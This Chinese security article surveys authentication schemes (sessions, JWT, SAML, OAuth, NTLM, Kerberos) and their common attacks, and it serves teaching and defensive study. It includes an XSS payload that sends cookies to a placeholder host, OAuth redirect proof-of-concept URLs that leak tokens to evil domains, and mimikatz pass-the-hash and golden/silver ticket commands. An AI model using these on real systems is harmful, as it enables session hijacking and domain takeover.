研究认证相关的安全问题也有一段实践了,今天就对认证相关的安全问题做个总结。其中涉及到一些前置概念这里无法一一讲解,可以在相关RFC文档或者链接中深入阅读,笔者已经把相关资料整理收录在参考链接。本文更多的是对认证相关的安全问题做个总结。另外文中引用了一些网络中的图片,由于来源不一,所以就不逐个标明,在此一并感谢。
先对这些认证相关的东东做个简单的归类:
PKI,X509是公钥密码领域用来进行公钥认证,管理,分发的机构以及规范;
cookie,session,JWT是web领域保持会话状态的;
ADS是活动目录服务器系统,与LM,NTLM,kerberos一道与windows认证或windows域认证密不可分;
Oauth和OpenID都可以作为认证需求,只不过前者多了授权的概念;
SSO是单点登陆,是企业里面使用比较多的概念,实现了SSO的协议有很多,包括kerberos,CAS等,而SAML就作为单点认证过程中的xml数据载体,也可以说是一种协议,提供了协议商定字段规范。咋一看会觉得SSO和Oauth,OpenID有点类似,其实他们很不一样。SSO希望达到的效果是登陆一次在expire期限内访问所有服务,即使是跨域状态,但是Oauth或者OpenID实现的是使用同一平台账号登陆不同服务。
这里会有疑问,这样看来不是和SSO一样了吗?其实不然,我们注意到Oauth或者OpenID登陆不同的服务是需要一直授权的,举个例子,我们登陆淘宝和微博是需要授权两次,但是在SSO中就不一样了。举个例子,在公司中我只要认证一次,就可以访问生产网上的所有服务,也可以访问办公网上的一些资源,我们只需要一次认证,这样来看就可以理解二者的不同了。
cookie,session, JWT都可以用来记录会话状态,JWT是一种相对前两者比较新的概念,和cookie一样需要保存在客户端,session保存在服务端。这里先主要聊聊cookie和session。
直接看几张图我们就可以对cookie,session的原理有所了解。
以php为例,服务端session生成以及cookie生成的过程:
客户端cookie和session的体现,session字段在cookie里面
浏览器对cookie和session的缓存
服务端对session的保存形式
根据使用习惯有以下几点特性:
1. cookie数据存放在客户的浏览器上,session数据放在服务器上;
2. cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗考虑到安全应当使;
3. 用session。将登陆信息等重要信息存放为SESSION,其他信息如果需要保留,可以放在COOKIE中,减轻服务端压力。
4. 单个cookie保存的数据不能超过4K,很多浏览器都限制一个站点最多保存20个cookie。
setcookie(name,value,expire,path,domain,secure,httponly)
1. name和value字段自是不必多说,key-value键值对
2. expire规定了cookie的过期时间
3. path从路径上指定了在请求某个特定的url目录的时候需要发送cookie值到服务端
4. domain则从域名上指定了在访问某个域的时候需要发送cookie值到服务端,默认就是产生cookie时候的域名,在大型的多子域名下的网站可以使用这个字段将domain设置成根域实现cookie共享。
5. secure属性则表明只有当一个请求通过 SSL 或 HTTPS 创建时,包含 secure 选项的 cookie 才能被发送至服务器。这种 cookie 的内容具有很高的价值,如果以纯文本形式传递很有可能被篡改。
6. httponly设置成 TRUE,Cookie 仅可通过 HTTP 协议访问。 这意思就是 Cookie 无法通过类似 JavaScript 这样的脚本语言访问。 要有效减少 XSS攻击时的身份窃取行为,可建议用此设置(虽然不是所有浏览器都支持),不过这个说法经常有争议。 PHP 5.2.0 中添加。 TRUE 或 FALSE
php.ini
https://www.php.net/manual/en/session.security.ini.php
注意到会话中有一些配置和之前提到的cookie六元组有相似的地方,但是设置的地方不一样,session是通过php配置项直接管理,而cookie在运行时设定,通过set-cookie相应头反馈给客户端。
# 有效期
session.cookie_lifetime = 0
# 有效路径
session.cookie_path = /
# 有效域
session.cookie_domail=...
# httponly属性
session.cookie_httponly = 1
# 防御会话固定,防止session未初始化,默认是0不开启,[https://wiki.php.net/rfc/strict_sessions](https://wiki.php.net/rfc/strict_sessions)
session.use_strict_mode=0
# 是否安全传输,仅当使用https传输时才可访问会话
session.cookie_secure = on
# 表示SESSION技术的实现是否需要依赖COOKIE 1表示是 0表示否。如果开启会话id将只在cookie中存储,避免了url传递会话的攻击。
session.use_only_cookies = 0
# 表示是否允许使用表单传值的方式传递PHPSESSID 0表示否 1表示是
session.use_trans_sid = 1
# session的散列函数
session.hash_function="sha256"
下面主要聊聊cookie和session常见的安全问题:
1. cookie字段未设置HttpOnly容易被DOM访问,结合xss脚本劫持攻击,利用如下:
<img src=# onerror= "[http://yourdomain/xss.php?data=](http://yourdomain/xss.php?data=)" + document.cookie>
2. 会话固定(session fixation),用户未认证前和认证后的sessionID没有刷新,导致可以利用社工或者XSS等手段达到让其他人用自己已知的sessionID登陆,从何获取受害者会话。
https://www.owasp.org/index.php/Session_fixation
笔者一开始以为会话固定是个比较容易被忽视的漏洞点,所以尝试搭建环境复现了解下细节,也尝试了上述链接提到的常见的几种利用手段。但是发现一个问题,要想利用会话固定漏洞,怎么把固定的sessionID注入victim的浏览器中,并且是和所要访问站点是同源态。基于这两个限制,利用的条件变得相当的苛刻。经过一番实践大致可以得到四种思路:
1. 中间人劫持,直接注入sessionID
2. 利用同源站点的XSS,在没有设置和httponly条件下,document.cookie直接修改
3. 利用站点CLRF漏洞,注入sessionID
4. useonlycookies字段关闭下,URL传递sessionID,php默认开启。
当看到php默认开启useonlycookie,心里拔凉,毕竟前三种利用的前提多多少少有些苛刻,甚至让人绝望。后来经过一番搜索了解到,javaEE默认是支持jsessionid,目的就是避免有些浏览器不支持cookie,这样是为了兼容,如此一来,会话固定就又有了很多的利用价值。这里有一个老哥和我的疑问类似
https://julienprog.wordpress.com/2017/08/17/session-id-in-the-url-is-it-a-vulnerability/。
总的来说,尽管sessionID暴露在url存在一定安全隐患,但是为了兼容,也还有不少网站使用这个做法,让会话固定利用有了更低的门槛。同样的,进一步的了解发现,php 子系统session会话固定有一个CVE编号:CVE-2011-4718。后来多的改进措施是更新重写了一些函数,并出现了session.usestrictmode模式。在打开这个模式并且按照官方的实例代码,可以很好的避免会话固定漏洞。
登陆期间后端session生成
session_destory();
session_regenerate_id();
$_SESSION['valid_id'] = session_id();
认证会话校验
if ($_SESSION['valid_id'] !== session_id()) {
die('Invalid use of session ID');
}
JWT全名是json web token,和cookie,session一样也是用来会话保持的。与cookie和session机制不同的是,它不需要再服务端保持会话状态,每个JWT完全标识了一个用户的登陆态,并且token完全保存在客户端,在需要访问受访问控制的页面的时候就需要使用token,token可以存储在localstorage或者cookie字段。Token 由头部 (header)、负载 (payload)、签名 (signature) 组成。在很多找回密码或者验证邮箱的功能中,会使用到JWT这一技术,将状态完全保存在客户端,可以很大的释放服务端的资源压力,也使得逻辑线没那么冗长。
有小伙伴可能会对完全保存存在客户端的jwt的安全性存在顾虑,jwt的设计之初的协议是语义安全的。因为服务端有签名的私钥,只有服务端可以签名和验证签名。在使用安全的签名算法的条件下可以保证不可篡改。但是这一顾虑却是很应该的。协议设计没问题,不代表实现没问题(这是一条很实用的定律)。现总结一下常见的jwt认证安全问题。
需要注意的是jwt中对应的base64并不是一个严格意义上的base64,由于token有可能被做为url,而base64中的
+/=
三个字符会被转义,导致url变得更长,所以token的base64会将+
转化为-
、/
转化为_
、删除=
。
1.修改认证方式(空认证和HS256认证的缺陷)
如果后端的空认证检测做得不够好,就会造成客户端修改签名方式为none
,然后绕过在服务端的签名认证,从未可以实现修改token的目的
如果后台使用RSA私钥进行认证,我们可以把签名换成HS256,然后通过HMAC-SHA256签名算法,使用RSA公钥来进行客户端认证篡改,然后实现任意payload篡改的目的。
2.弱认证方式的暴力破解
现在GitHub上有一些相对比较成熟的工具,暴力破解HS256签名的JWT,如果签名的key是脆弱的,那么可以直接暴力解出key,然后就可以为所欲为。
3.使用refresh token和access token 的非关联性脆弱
授权服务器没有检查refresh令牌<->访问令牌关联。这意味着我可以用attack的refresh令牌刷新victim的访问令牌。
4.JWT中字段涉数据库查询的注入利用
这一步骤是指在后台对JWT的payload数据进行了相应的数据库操作,如插入,查询等等,但是却过滤不严谨,在利用JWT的脆弱性后就可以进行任意的sql注入,很多时候为了方便,可以使用sqlmap,自己编写相关temple脚本达到自动化注入。
上面提到的攻击方式已经集成到了webgoat靶场中,并且网上也有了不少教程这里就不再啰嗦。
SSO认证最常见的场景是在公司内部实现ACL控制的统一化,一来是增加企业安全性,防止口令泛滥,而来给员工管理或者资源访问带来方便。那么什么是SSO呢?先看下下图:
以下内容节选自参考链接[3]
1. 用户访问app系统,app系统是需要登录的,但用户现在没有登录。
2. 跳转到CAS server,即SSO登录系统,以后图中的CAS Server我们统一叫做SSO系统。 SSO系统也没有登录,弹出用户登录页。
3. 用户填写用户名、密码,SSO系统进行认证后,将登录状态写入SSO的session,浏览器(Browser)中写入SSO域下的Cookie。
4. SSO系统登录完成后会生成一个ST(Service Ticket),然后跳转到app系统,同时将ST作为参数传递给app系统。
5. app系统拿到ST后,从后台向SSO发送请求,验证ST是否有效。
6. 验证通过后,app系统将登录状态写入session并设置app域下的Cookie。
至此,跨域单点登录就完成了。以后我们再访问app系统时,app就是登录的。接下来,我们再看看访问app2系统时的流程。
1. 用户访问app2系统,app2系统没有登录,跳转到SSO。
2. 由于SSO已经登录了,不需要重新登录认证。
3. SSO生成ST,浏览器跳转到app2系统,并将ST作为参数传递给app2。
4. app2拿到ST,后台访问SSO,验证ST是否有效。
5. 验证成功后,app2将登录状态写入session,并在app2域下写入Cookie
SSO单点认证的实现方式有很多,包括主机认证层面和web服务用户认证层面。上面的交互过程是web用户认证层面的交互细节。后面聊到的Window域认证kerberos协议就是主机认证域服务授权的实现方式。
有兴趣可以参考SAML的RFC文档
往简单了说SAML就是一种XML数据格式,定义了规范字段用于单点认证,本身也可以理解为一种协议规范,认证媒介或者数据载体。它作为SSO一种常用的实现方式。我们看看SAML存在的安全隐患。
分析测试工具
SAML Raider bp(https://github.com/SAMLRaider/SAMLRaider)
安全性问题
1. 删除签名方式标签,可以绕过认证,源于ssl模式下的认证可选性
例子: https://hackerone.com/reports/136169
2. python-saml组件对于字段的提取忽略标签属性后的值,导致截断,但是在做整体hash校验的时候会先进行规范化忽略注释,导致修改固定字段但saml文件仍旧校验通过。
例子:https://duo.com/labs/psa/duo-psa-2017-003
3. SAML消息过期机制和重放,如果SAML中缺少了消息expiration定义,并且断言ID不是唯一的,那么就容易受到常见的重放攻击。
其实本质上来看,openID和Oauth都是SSO的一种变形,或者说是一种拓展实现,其达到的效果在客户端看来都是使用一个账号登陆了很多种服务。但是在服务端这几种方式切入点有不同。SSO的初衷是为了实现ACL收敛到一个入口,方便做权限管理,避免密钥泛滥造成的安全隐患。而OpenID是一种将认证承包给第三方服务的做法,使得服务商可以避免复杂的ID管理,而专注于业务。Oauth其实一开始不是用来做认证的,而是一种授权,举个例子,服务商A和服务商B隶属不同公司,但是A的服务需要用到B服务中的一些资源,这个时候就需要client将A服务的账号和B服务的账号关联,走Oauth的协议实现这一资源请求的授权,只不过到了Oauth 2.0以后,人们发现授权的过程包含了认证的过程,所以干脆就直接可以使用Oauth来进行认证。
国内一般都用Oauth2协议做认证和授权,所以这里只介绍一下OpenID的相关概念。
首先介绍概念:
- End User:终端用户,使用OP与RP的服务
- Relying Party依赖方:简称RP,服务提供者,需要OP鉴权终端用户的身份
- OpenID Provider:OpenID提供者,简称OP,对用户身份鉴权
- Identifier标识符:标识符可以是一个HTTP、HTTPS或者XRI(可扩展的资源标识)
- User-Agent:实现了HTTP1.1协议的用户浏览器
- OP Endpoint URL:OP鉴权的URL,提供给RP使用
- OP Identifier:OP提供给终端用户的一个URI或者XRI,RP根据OP Identifier来解析出OP Endpoint URL与OP Version
- User-Supplied Identifier:终端用户使用的ID,可能是OP提供的OpenID,也可以是在RP注册的ID。RP可以根据User-Supplied
- Identifier来解析出OP Endpoint URL、OP Version与OP_Local Identifer
- Claimed Identifier:终端用户声明自己身份的一个标志,可以是一个URI或者XRI
- OP-Local Identifier:OP提供的局部ID
终端用户请求登录RP网站,用户选择了以OpenID方式来登录
RP将OpenId的登录界面返回给终端用户
终端用户以OpenID登陆RP网站
RP网站对用户的OpenID进行标准化,此过程非常复杂。由于OpenID可能是URI,也可能是XRI,所以标准化方式各不相同。具体标准化过程是:如果OpenID以xri://、xri://$ip或者xri://$dns开头,先去掉这些符号;然后对如下的字符串进行判断,如果第一个字符是=、@、+、$、!,则视为标准的XRI,否则视为HTTP URL(若没有http,为其增加http://)。
RP发现OP,如果OpenId是XRI,就采用XRI解析,如果是URL,则用Yadis协议解析,若Yadis解析失败,则用Http发现。
RP跟OP建立一个关联。两者之间可以建立一个安全通道,用于传输信息并降低交互次数。
OP处理RP的关联请求
RP请求OP对用户身份进行鉴权
OP对用户鉴权,请求用户进行登录认证
用户登录OP
OP将鉴权结果返回给RP
RP对OP的结果进行分析
Oauth在国内用得比较多,这里就重点聊聊Oauth。
OpenID是用来认证协议,OAuth是授权协议,二者是互补的。但在国内的使用情况中,Oauth被作为认证进行“滥用”,所以在国内基本都是采用Oauth这种方式进行第三方账号登陆。在学习Oauth之前,需要先了解以下Oauth的发展史。2007年12月4日发布了OAuth Core 1.0, 此版本的协议存在严重的安全漏洞:OAuth Security Advisory: 2009.1。2009年6月24日发布了OAuth Core 1.0 Revision A:此版本的协议修复了前一版本的安全漏洞,并成为RFC5849,我们现在使用的OAuth版本多半都是以此版本为基础。OAuth 2.0是OAuth协议的下一版本,但不向后兼容OAuth 1.0。 OAuth 2.0关注客户端开发者的简易性,同时为Web应用,桌面应用和手机,和起居室设备提供专门的认证流程。
微博开放平台
[http://open.weibo.com](http://open.weibo.com)
微信开放平台
[https://open.weixin.qq.com](https://open.weixin.qq.com)
QQ互联平台
[https://connect.qq.com](https://connect.qq.com)
1.resource owner,资源所有者,能够允许访问受保护资源的实体。如果是个人,被称为 end-user。
2.resource server,资源服务器,托管受保护资源的服务器。
3.client,客户端,使用资源所有者的授权代表资源所有者发起对受保护资源的请求的应用程序。如:web网站,移动应用等。
4.authorization server,授权服务器,能够向客户端颁发令牌。
5.user-agent,用户代理,帮助资源所有者与客户端沟通的工具,一般为 web 浏览器,移动 APP 等。
一个客户端想要获得授权,就需要先到服务商那注册你的应用。一般需要你提供下面这些信息:
1.应用名称
2.应用网站
3.重定向 URI 或回调 URL(redirect_uri)
在发送Oauth请求的时候,我们经称容易在请求头部看到如下几个参数:
1.client_id客户端标识,这个参数是和客户端一一对应的,这样服务端才知道认证请求来自哪个客户端.例如”101019034”代表的就是新浪微博这个客户端
2.response_type授权类型,上文已经说了OAuth有多种授权类型.此处”code”代表使用的是Authorization Code(授权码模式)
3.
scope
申请的权限范围4.
redirect_uri
重定向URI,用户给予授权后,将会携带授权码跳转到此地址5.
state
这个参数是用来防御CSRF的,你可以将其理解为我们常用的”token”.这里它的使用和”token”也是一样的.
每次授权请求,客户端都会生成一个state,并将其保存到cookie或session中.授权成功后,服务端原样返回state,客户端将其与cookie或session中的值进行比对.
重定向 URI 是服务商在用户授权(或拒绝)应用程序之后重定向用户的地址,因此也是用于处理授权代码或访问令牌的应用程序的一部分。在你注册成功之后,你会从服务商那获取到你的应用相关的信息:
1.客户端标识
client_id
2.客户端密钥
client_secret
client_id
用来表识客户端(公开),client_secret
用来验证客户端身份(保密)。
具体的实现过程可以参看rfc文档
1.授权码模式
2.隐式模式(简化授权码模式)
3.登陆模式
4.客户端模式
谈及Oauth的安全问题,在了解Oauth的认证机制后,可以发现其中access_token,code这两个值是相当关键的,只要我们有办法获取这些值,或者直接劫持用户可以达到攻击效果。下面是目前比较常见的安全问题。
1.开放的重定向链接模式匹配
我们试想客户端在授权开放平台注册的重定向URI不是完全确定的,如"https://*.somesite.example/*"
,[[https://client.somesite.example/param?](https://client.somesite.example/param?)]([https://client.somesite.example/param?](https://client.somesite.example/param?))*
。针对这两种注册方式,是完全有可能绕过的下面给出绕过的poc(假设client_id = 123456)
针对第一种注册重定向链接的模式:接管了其子域名的情况下,我们可以构造如下url诱使客户端访问。但是一般情况下,还需要client_secret,隐式模式下完全信任客户端就不再需要client_secret获取code,而是直接获取access token。
[http://server.somesite.example/authorize?response_type=code&client_id=123456&state=xyz&redirect_uri=https%3A%2F%2Fevil.somesite.example%2Fcb
针对第二种注册重定向链接的模式,在客户端存在可控的重定向参数(这里是redirect_to)的情况下,如果Oauth采取隐式模式,我们可以直接将access_token引流至我们服务器
[http://server.somesite.example/authorize?response_type=token&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fclient.somesite.example%2Fcb%26redirect_to%253Dhttps%253A%252F%252Fclient.evil.example%2Fc
2.认证流混淆
这其实有点类似于中间人劫持,并且要求的条件比较苛刻,要想实现这种攻击需要满足三个条件:
(1)隐式或授权代码授权被用于多个AS(这里先假设两个),其中一个被认为是“真实的”(H-AS),另一个由攻击者操作(A-AS),
(2)客户端将用户选择的AS存储在绑定到用户浏览器的会话中,并对这两个AS和使用相同的重定向URI,
(3)攻击者可以操作从用户浏览器到客户端的第一个请求/响应对(其中用户选择某个AS,然后由客户端重定向到该AS)。
3.认证信息泄露(access token,state,code......)
其实这种攻击和普通的xss类似,只不过将document.cookie
向量换成window.location.href
,或者通过嵌入iframe的方式,让认证信息外泄。或者直接在服务端泄露access_token等。
4.浏览器访问历史记录
一般的Oauth实现中,由于涉及浏览器的重定向,参数一般都是直接放在url上,基于这一特性,如果有办法直接接触浏览器的历史记录,也是一个不错的方法。不过这种手段有一个局限性,那就Oauth一般有expire或者放重放机制,如果时效性或者防重放做得不好,或者使用了隐式模式也会带来危害。
5.redirect_url 重定向漏洞
如果服务器在用户输入的redirecturl参数上没有做过滤,就会存在重定向漏洞,结合csrf,可以让重定向漏洞为csrf或者xss提供跳板。或者直接输入attack控制的域名,在refer头部获取token。注意到在授权码模式下,redirecturl的处理出现在AS和client端,所以这两个地方都需要对redirecturl进行校验过滤,第一处攻击可以获得token,利用获得的token,第二次就可以获得accesstoken。
6.不安全的Oauth认证会话
用户在授权的时候需要先认证,如果AS在授权完毕后不主动注销登陆会话,就会产生会话溢出。在用户登出请求授权的client后,AS处用户的登陆态仍旧保持,那么如果浏览器被人控制的话,可以直接获取这一开启的会话。
7.账号关联功能CSRF
试想一种攻击场景,比如攻击者在一个网站关联QQ号,那么它截获最后返回access_token时候的数据包,把这个请求作为payload诱使victim访问,在victim登陆了网站的前提下,会自动将账号和攻击者的qq账号关联。
windows上的认证大致可以分为两种,一是没有加入kerberos的工作组概念的基于NTLM协议的认证,二是windows域环境的下的认证。
第一步,首先在client输入username,password和domain,然后client会把password hash后的值先缓存到本地
第二步,之后,client把username的明文发送给server(DC)
第三步,DC会生成一个16字节的随机数,即challenge(挑战码),再传回给client
第四步,当client收到challenge以后,会先复制一份出来,然后和缓存中的密码hash再一同混合hash一次,混合后的值称为response,之后client再将challenge,response及username一并都传给server
第五步,server端在收到client传过来的这三个值以后会把它们都转发给DC
第六步,当DC接到过来的这三个值的以后,会根据username到域控的账号数据库(ntds.dit)里面找到该username对应的hash,然后把这个hash拿出来和传过来的challenge值再混合hash
第七步,将(6)中混合后的hash值跟传来的response进行比较,相同则认证成功,反之,则失败,当然,如果是本地登录,所有验证肯定也全部都直接在本地进行了
我们可以看到,在这个认证中,使用到明文密码的地方只有用户登陆的时候,后面使用到的全是密码hash,这样一来就产生了一个安全问题,PTH(Pass The Hash),只要我们拿到了密码hash值就可以直接模拟用户登陆。
注意到NTLM时基于挑战的认证协议,在认证前,DC必须有用户密码hash的存储,否则时不可能在第七部解密成功。当然,上面的场景是比较贴近域的概念,使用了中心DC来存储用户的密码hash并且做挑战校验,有一点SSO单点的登陆的意思,但是仔细看会发现少了ticket的概念,后面会发现域认证是SSO单点登陆的一种具体实现。不过其实很多时候,DC和Server是同一台机器,协议流程和上面一致。
理解kerberos认证之前还是先来了解一下相关概念:
KDC: Key Distribution Center,包括三大块(KAS,TGS,密码hash数据)
KAS:Kerberos Authentication Service,负责用户认证并签发TGT
TGS: Ticket Granting Service,负责认证TGT并签发服务票据ST
TGT: Ticket Granting Ticket,包括用户相关信息和Logon Session Key(确保该用户和KDC之间通信安全的会话秘钥),标识认证已完成
ST: Service Ticket,服务票据,用来访问相关服务,标识服务已授权。ST主要包含两方面的内容:客户端用户信息和Service Session Key(保客户端-服务器之间通信安全的会话秘钥),并通过被请求服务的服务器密钥加密。
1)首先,客户端(client)将域用户的密码hash一次并保存,然后,以此hash来作为客户端和KDC之间的长期共享密钥[kc](当然,在DC上也保存着同样的一条hash)
2)KRB_AS_REQ:客户端(client)开始利用(1)中的域用户密码hash再把时间戳,clientid,TGS id等信息混合hash一次,然后向as(认证服务器 [Authentication Server])服务器进行请求
3)KRB_AS_REP:AS接到该请求后,利用长期共享密钥(kc)进行解密,解密成功后,会返回给客户端两个票据
1)加密的K(c,tgs)(用于客户端后续向KDC发起请求),其中c=(TGS Name/ID,时间戳等),该票据由Kc加密
2)票据授予票据(Ticket Granting Ticket,简称TGT),该票据是给TGS的,票据的内容包括K(c,tgs),其中c=(Client身份信息,域名,时间戳等),该票据由TGS的秘钥加密,只有TGS能够解密
4)KRB_TGS_REQ:客户端会利用长期共享密钥解密k(c,tgs),并利用该秘钥加密生成一个Authenticator,其中c=(lifetime,时间戳,Client身份信息等),连同从AS获取的TGT一并发送给TGS
5)KRB_TGS_REPTGS:TGS利用自身的秘钥解密TGT,获取K(c,tgs),并用K(c,tgs)解密客户端发送的Authenticator,对Client进行认证,如果Client通过了认证,TGS随机生成一个Session Key K(c,s),并产生两个票据
1)服务票据(Ts):这是给服务器的服务票据,由Server秘钥Ks加密,内容包括:K(c,tags),其中c=(Client身份信息,Service ID,时间戳,lifetime等)
2)客户端票据(Tc):该票据由K(c,tgs)加密,其中c=(K(c,s),Server身份信息等)
6)KRB_AP_REQ:客户端收到tgs的回应后,利用K(c,tgs)解密Tc,获取K(c,s),Server身份信息等,并利用K(c,s)加密生成一个Authenticator发送给Server,内容包括:时间戳,Client ID等信息,连同Ts一并发送给Server
7)KRB_AP_REP:Server端在收到Client的请求后,利用自身秘钥Ks解密Ts,得到K(c,s),再利用K(c,s)解密Authenticator,对Client进行认证,如果认证通过,则表示KDC已经允许了此次通信,此时Sever无需与KDC通信,因为Ks为KDC和Sever之间的长期共享秘钥,如果在有效时间内,则此次请求有效。
通过对上述认证流程的理解,我们可以归纳出windows的域认证有以下几个敏感的特性:
- NTLM认证中只用到用户密码hash
- kerberos用户的密码一般很少更改
- 只要知道kerberos 用户hash就可以签发TGT
- 只要知道提供服务的主机密码hash,就可以签发ST
- 客户端可以随意询问特定服务的TGT
- 域内的主机都能查询SPN(服务标识符)
基于上面说到几个敏感特性,催生了一些域渗透攻击手段。
PTH(Pass The Hash)
通过上面对windows认证相关的了解,我们可以知道在默认的工作组环境中,以密码hash作为秘密,通过challenge机制作为校验通过的依据,所以认证的整个过程,我们只需要知道用户hash,就可以根据协议流程实现特定用户的登陆。
https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa
privilege::debug
sekurlsa::pth /user:xxx /ntlm:xxx's ntlm hash /domain:xxx /run:cmd.exe
PTT(Pass The Ticket)
PTT攻击是基于上述kerberos认证协议,大致分为白银票据和黄金票据两种票据伪造攻击形式。
白银票据:知道了服务主机的ntlm hash我们可以伪造ST,构造KRBAPREQ请求过程,让服务端相信我们的ST是从KDC获取的,其实我们是通过其NTLM hash自己生成的,也即我给我自己颁发了一个合法的ST。
黄金票据:同样的,如果我们有能力获取到kerberos用户的密码hash,那么我们就可以拥有KDC绝对的权力,比如我们可以给自己签发高权限的TGT,然后利用构造KRBTGSREQ请求包获取任意服务的ST。
https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos
# 白银票据
mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit
# 黄金票据
mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit
MS14-068
微软在Windows平台上的Kerberos并没有采用MIT的实现,而是对Kerberos协议进行了一些扩充,其中最重要的扩充就是增加了认证过程中的权限认证,也就是在协议中增加了PAC(Privilege Attribute Certificate),特权属性证书,主要目的就是用来实现权限的ACL。正是PAC这的加入,开发对kerberos的实现就出了岔子。可以造成在客户端KRBASREP步骤中,修改PAC从而获得域控权限的TGT。
具体原理建议移步这篇文章: https://www.freebuf.com/vuls/56081.html
微软漏洞申明:https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-068
# 域控上获取补丁修复信息
systeminfo | findstr /i kb3011780
通过上述的手段如果发现域控没有安装这一补丁,内网渗透的路子就会明朗开来,现在已经有不少exe,或者脚本,甚至在msf里面也有了利用集成。
Python ScriptMsf Payload
Kerberoasting
三好学生前辈的文章,写得已经十分详细。
https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting/
[1] https://tools.ietf.org/html/rfc7522
[2] https://tools.ietf.org/html/rfc6749
[3] https://tools.ietf.org/id/draft-ietf-oauth-security-topics-06.html
[4] https://duo.com/blog/the-beer-drinkers-guide-to-saml
[5] http://avfisher.win/archives/tag/saml
[6] http://blog.intothesymmetry.com/2015/12/top-10-oauth-2-implementation.html
[7] https://ldapwiki.com/wiki/OAuth%202.0%20Vulnerabilities
[8] https://www.sans.org/reading-room/whitepapers/application/attacks-oauth-secure-oauth-implementation-33644
[9] https://xz.aliyun.com/t/2445
*本文作者:littlepotato,本文属FreeBuf原创奖励计划,未经许可禁止转载。